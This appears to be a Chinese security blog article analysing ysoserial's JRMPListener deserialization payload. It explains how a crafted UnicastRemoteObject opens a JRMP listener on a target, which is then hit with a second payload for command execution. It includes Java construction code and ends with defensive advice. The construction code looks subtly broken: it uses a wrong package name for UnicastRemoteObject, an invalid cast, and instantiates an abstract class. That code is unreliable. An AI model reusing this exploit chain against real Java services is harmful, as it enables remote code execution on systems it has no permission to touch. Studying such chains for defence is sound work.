ysoserial JRMP相关模块分析(一)- payloads/JRMPListener
字数 1894 2025-08-27 12:33:22
ysoserial JRMPListener模块深度分析
一、JRMPListener模块概述
JRMPListener是ysoserial工具中的一个利用模块,主要功能是通过反序列化漏洞在目标主机上开启一个JRMP Server服务。该模块的核心是利用Java反序列化机制,特别是UnicastRemoteObject类的readObject方法,来实现远程命令执行。
二、技术原理
1. 核心利用链
JRMPListener模块的利用基于以下技术原理:
- 利用
UnicastRemoteObject类的readObject方法在反序列化时会自动调用reexport方法 reexport方法会调用exportObject,从而开启JRMP监听服务- 攻击者可以通过JRMP协议与这个服务交互,实现远程命令执行
2. 关键类分析
ActivationGroupImpl
ActivationGroupImpl是UnicastRemoteObject的子类- 被选为主要利用类是因为它能够方便地构造出
UnicastRemoteObject实例 - 实际利用中,
ActivationGroupImpl可以被替换为UnicastRemoteObject本身
UnicastRemoteObject
- 核心类,实现了
readObject方法 - 反序列化时会自动调用
reexport方法 reexport方法会调用exportObject,开启JRMP监听
UnicastServerRef
- 负责实际的JRMP服务端实现
- 包含
exportObject方法,用于导出远程对象
三、利用流程详解
-
构造恶意序列化数据:
- 使用
newConstructorForSerialization创建UnicastRemoteObject或其子类实例 - 设置端口号为攻击者指定的值
- 序列化该对象
- 使用
-
发送恶意数据:
- 将序列化数据发送到目标服务器的反序列化入口点
-
目标服务器反序列化:
- 目标服务器反序列化数据时调用
UnicastRemoteObject.readObject readObject调用reexport方法reexport调用exportObject开启JRMP监听
- 目标服务器反序列化数据时调用
-
二次攻击:
- 攻击者使用JRMPClient连接新开启的JRMP服务
- 发送实际的攻击payload执行命令
四、关键代码分析
1. 序列化对象构造
// 使用newConstructorForSerialization创建对象
Class<?> clazz = Class.forName("sun.rmi.server.UnicastServerRef");
Constructor<?> constructor = clazz.getDeclaredConstructor(ObjID.class, TCPEndpoint.class, boolean.class);
constructor.setAccessible(true);
// 构造UnicastServerRef实例
Object unicastServerRef = constructor.newInstance(
new ObjID(ObjID.ACTIVATOR_ID),
new TCPEndpoint(port),
true
);
// 创建RemoteObject子类实例
Class<?> remoteObjectClass = Class.forName("java.rmi.server.RemoteObject");
Constructor<?> remoteObjectConstructor = remoteObjectClass.getDeclaredConstructor(RemoteRef.class);
remoteObjectConstructor.setAccessible(true);
Object remoteObject = remoteObjectConstructor.newInstance(unicastServerRef);
// 创建最终的反序列化对象
Class<?> unicastRemoteObjectClass = Class.forName("java.rmi.server.UnicastRemoteObject");
Constructor<?> unicastRemoteObjectConstructor = Serializable.class.cast(
Reflections.getFirstCtor("sun.rmi.server.UnicastRemoteObject")
);
Object unicastRemoteObject = Reflections.newInstanceForConstructor(
unicastRemoteObjectConstructor,
new Class[]{RemoteRef.class},
new Object[]{unicastServerRef}
);
2. UnicastRemoteObject.readObject关键代码
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
reexport();
}
private void reexport() throws RemoteException {
if (ref != null) {
ref.exportObject(this, null, true);
}
}
五、技术要点总结
-
反序列化利用条件:
- 目标类或其父类实现了自定义的
readObject方法 - 该
readObject方法能够执行危险操作(如开启网络服务)
- 目标类或其父类实现了自定义的
-
JRMPListener特点:
- 不依赖常见的
InvocationHandler或Proxy机制 - 利用
UnicastRemoteObject的内置反序列化行为 - 需要二次攻击(先开启服务,再通过JRMP发送实际payload)
- 不依赖常见的
-
构造技巧:
- 可以使用
UnicastRemoteObject或其子类(如ActivationGroupImpl) - 父类可以选择
RemoteObject或RemoteServer - 端口号通过
UnicastServerRef的TCPEndpoint设置
- 可以使用
六、防御建议
-
输入验证:
- 对所有反序列化入口进行严格校验
- 使用白名单机制限制可反序列化的类
-
安全配置:
- 使用Java安全管理器限制危险操作
- 配置
java.rmi.server.useCodebaseOnly=true
-
代码加固:
- 重写关键类的
readObject方法增加安全检查 - 使用
ObjectInputFilter过滤危险类
- 重写关键类的
-
网络防护:
- 限制不必要的JRMP端口开放
- 监控异常的JRMP连接行为
七、扩展思考
-
与RMI的关系:
- RMI基于JRMP协议实现
- 可以使用RMI Client攻击JRMPListener开启的服务
- 但需要注意Java沙盒限制(
ExecCheckingSecurityManager)
-
反制风险:
- 攻击者可能利用JRMPListener进行反制
- 需谨慎处理不受信任的JRMP连接
-
变种利用:
- 可尝试结合其他gadget链增强攻击效果
- 探索其他
readObject方法的潜在利用点
通过深入理解JRMPListener的工作原理,安全研究人员可以更好地防御此类攻击,同时也能够开发更有效的检测和防护方案。